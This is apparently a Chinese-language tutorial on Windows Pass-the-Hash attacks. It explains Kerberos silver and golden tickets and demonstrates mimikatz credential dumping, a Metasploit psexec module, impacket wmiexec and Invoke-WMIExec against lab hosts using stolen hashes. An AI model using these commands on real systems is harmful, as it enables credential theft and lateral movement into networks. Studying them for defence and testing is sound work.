總結下PtH具體形式(wmicexec、powershell、msf等)
0x01 PtH攻擊原理 && 黃金白銀票據
PtH攻擊原理
wiki https://en.wikipedia.org/wiki/Pass_the_hash 寫的也很清楚
其中重要的是windows使用系統API(LsaLogonUser)生成hash進行認證,而不是用明文,所以利用hash即可模擬用戶登錄進行操作。還有的是如果密碼長度大於15就不存在LM Hash,從windows2008開始微軟默認禁用LM hash。
這也就很好理解pth的原理了。
Windows Server 2008啟用LM hash的方法:
gpedit.msc
-計算機配置
-Windows 設置
-安全設置
-本地策略
-安全選項
找到網絡安全︰ 不要在下次更改密碼存儲 LAN 管理器的哈希值
,選擇已禁用
系統下一次更改密碼后,就能夠導出LM hash
接下里回顧下kerberos認證過程 ,區別白銀票據和黃金票據區別。
kerberos認證粗略流程:
- client向kerberos服務請求,希望獲取訪問server的權限。 kerberos得到了這個消息,首先得判斷client是否是可信賴的, 也就是白名單黑名單的說法。這就是AS服務完成的工作,通過 在AD中存儲黑名單和白名單來區分client。認證成功后,KDC此時生成一個隨機字符串,叫Session Key,使用用戶名對應的NTLM Hash加密Session Key,作為AS數據,使用KDC中某個用戶(krbtgt)的NTLM Hash加密Session Key和客戶端的信息,生成TGT。
- client得到了TGT后,繼續向kerberos請求,希望獲取訪問 server的權限。客戶端需要提供TGT與第一步中AS數據使用自己NTLM Hash解密出來的Session Key加密的客戶端信息跟時間戳。kerberos又得到了這個消息,這時候通過client 消息中的TGT,判斷出了client擁有了這個權限。驗證通過后,就會生成一個新的Session Key,我們稱之為Server Session Key,這個Server Session Key主要用於和服務器(不是KDC)進行通信。同時還會生成一個Ticket,也就是最后的票據了。給了client訪 問server的權限ticket(ST,也就是server hash,包含請求客戶端的主機名和客戶端信息加上server session key還有票據失效時間)。
- client得到ticket后,終於可以成功訪問server。client會用Ticket,Server Session Key加密的客戶端信息與時間戳去請求server。這個ticket只是 針對這個server,其他server需要向TGS申請。
白銀票據(Silver Tickets)
白銀票據特點:
-
1.不需要與KDC進行交互
-
2.需要目標服務的NTLM Hash
在第三步認證中的Ticket的組成:
Ticket=Server Hash(Server Session Key+Client info+End Time)
當擁有Server Hash時,我們就可以偽造一個不經過KDC認證的一個Ticket。
大多數服務不驗證PAC(通過將PAC校驗和發送到域控制器進行PAC驗證)
這里暫且不談pac的偽造。
黃金票據(Golden Tickets)
黃金票據特點:
-
1.需要與DC通信
-
2.需要krbtgt用戶的hash
這里的krbtgt hash就是之前講的KDC Hash
Kerberos黃金票據是有效的TGT Kerberos票據,因為它是由域Kerberos帳戶(KRBTGT)加密和簽名的 。TGT僅用於向域控制器上的KDC服務證明用戶已被其他域控制器認證。TGT被KRBTGT密碼散列加密並且可以被域中的任何KDC服務解密的。
0x02 PtH 攻擊實現多種方法
首先先來看看歷史上微軟對pass the hash攻擊出的文檔:
而我們需要關注的就是對於這種攻擊微軟的經典補丁:
kb2871997,禁止本地管理員賬戶用於遠程連接,這樣就無法以本地管理員用戶的權限執行wmi、PSEXEC、schtasks、at和訪問文件共享。
這個補丁發布后常規的Pass The Hash已經無法成功,唯獨默認的 Administrator (SID 500)賬號例外,利用這個賬號仍可以進行Pass The Hash遠程連接。
並且值得注意的是即使administrator改名,它的SID仍然是500,這種攻擊方法依然有效。所以對於防御來說,即使打了補丁也要記得禁用SID=500的管理員賬戶。
相關鏈接如下:
http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html
現在也有手法對應pth,例如LAPS
1)首先是mimikatz2.0
pass the key:
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0
彈出cmd 這時候時候net use也可以了
net use \\192.168.5.3\c$
mimikatz資料中重點:
ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.
ntlm散列在XP/2003/Vista/2008和7/2008r2/8/2012 安裝補丁kb2871997前是強制性的;AES密鑰只能用在8.1/2012r2或安裝了kb2871997補丁的7/2008r2/8/2012上替換,在這種情況下可以避免ntlm散列。
mimikatz的pth功能需要本地管理員權限,這是由它的實現機制決定的,需要先獲得高權限進程lsass.exe的信息
這里拿windows r2原版 安裝kb2871997來實驗。
使用mimikatz先獲取hash:
mimikatz "privilege::debug" "sekurlsa::ekeys"
注意這里mimikatz是復制不了的
解決方法是使用日志記錄功能將回顯內容輸出到文件中,開啟日志記錄功能后會把輸出回顯的內容保存在同級目錄下的mimikatz.log中,命令參考如下:
mimikatz log privilege::debug sekurlsa::ekeys
aes256_hmac 00842449e386b266f1bb945888de5696a913c3630f51997b2cd1395f3c6d99bf
aes128_hmac 4bd64fecaa1438851981d52e574f27c2
rc4_hmac_nt dfe6e4a03f78f6b4ce617ed0ed1e5e53
rc4_hmac_old dfe6e4a03f78f6b4ce617ed0ed1e5e53
rc4_md4 dfe6e4a03f78f6b4ce617ed0ed1e5e53
rc4_hmac_nt_exp dfe6e4a03f78f6b4ce617ed0ed1e5e53
rc4_hmac_old_exp dfe6e4a03f78f6b4ce617ed0ed1e5e53
使用aes key pass the key
成功
注意這里是主機名 不是ip。
2)meterpreter
使用經典模塊:
use exploit/windows/smb/psexec_psh
或者kali里集成的工具集 很多
這個模塊可以利用有效的管理員用戶名和密碼(或密碼哈希)來執行一個任意Payload,這個模塊跟SysInternals提供的“psexec”實用工具非常類似,而且該模塊現在還可以在攻擊完成之后自動清理痕跡。這款工具所創建的服務使用的是隨機選擇的用戶名及相關描述。
msf5 > use exploit/windows/smb/smb_ use exploit/windows/smb/smb_delivery use exploit/windows/smb/smb_relay msf5 > use exploit/windows/smb/psexec msf5 exploit(windows/smb/psexec) > set rhosts 192.168.5.3 rhosts => 192.168.5.3 msf5 exploit(windows/smb/psexec) > set SMBUser Administrator SMBUser => Administrator msf5 exploit(windows/smb/psexec) > set SMBPass 31d6cfe0d16ae931b73c59d7e0c089c0 SMBPass => 31d6cfe0d16ae931b73c59d7e0c089c0 msf5 exploit(windows/smb/psexec) > show options
同樣的你可以用psexec 都是ok 的。
使用PSExec前提:SMB服務必須開啟以及可達。文件和打印機共享必須開啟,禁止簡單文件共享。
Admin$必須可以訪問。PSExec使用的口令必須可以訪問Admin$共享。
在PSExec可執行文件中含有一個Windows服務。它利用該服務並且在遠端機器上部署Admin$。然后通過SMB使用DCE/RPC接口來訪問Windows Service Control Manager API。然后在遠程主機中開啟PSExec訪問。然后PSExec服務創建一個命名管道,用它來發送命令。
3)wmiexec:
python exe
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
exe版本下載地址:
https://github.com/maaaaz/impacket-examples-windows
注:
wmiexec.py的注釋中提示”Main advantage here is it runs under the user (has to be Admin) account”,經實際測試普通用戶權限即可
這里拿window2003標准版演示
wmiexec.exe -hashes 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 QING-31E5FF29B3/Administrator@192.168.5.9 "dir"
powershell
https://github.com/Kevin-Robertson/Invoke-TheHash/
使用Invoke-WMIExec:
官方用法:
Invoke-WMIExec -Target 192.168.5.9 -Domain QING-31E5FF29B3 -Username Administrator -Hash 32ed87bdb5fdc5e9cba88547376818d4 -Command "calc.exe" -verbose
另外還有Invoke-SMB等腳本都可以進行利用,利用方法也差不多一樣:
Invoke-SMBExec
支持SMB1, SMB2 (2.1), and SMB signing
通過在目標主機創建服務執行命令,所以權限為system
Invoke-SMBClient
支持SMB1, SMB2 (2.1), and SMB signing,如果只有SMB文件共享的權限,沒有遠程執行權限,可以使用該腳本。
支持的功能包括列舉目錄、上傳文件、下載文件、刪除文件(具體權限取決於該口令hash的權限)
擁有票據后繼續信息收集即可 如果有powershell,
powershell執行
查看Administrators組
$members = @($([ADSI]”WinNT://WIN-6I39VTOHS15/Administrators”).psbase.Invoke(“Members”))
$members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) }
查看Domain Users組
$members = @($([ADSI]”WinNT://domian/Domain Users”).psbase.Invoke(“Members”)) $members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) }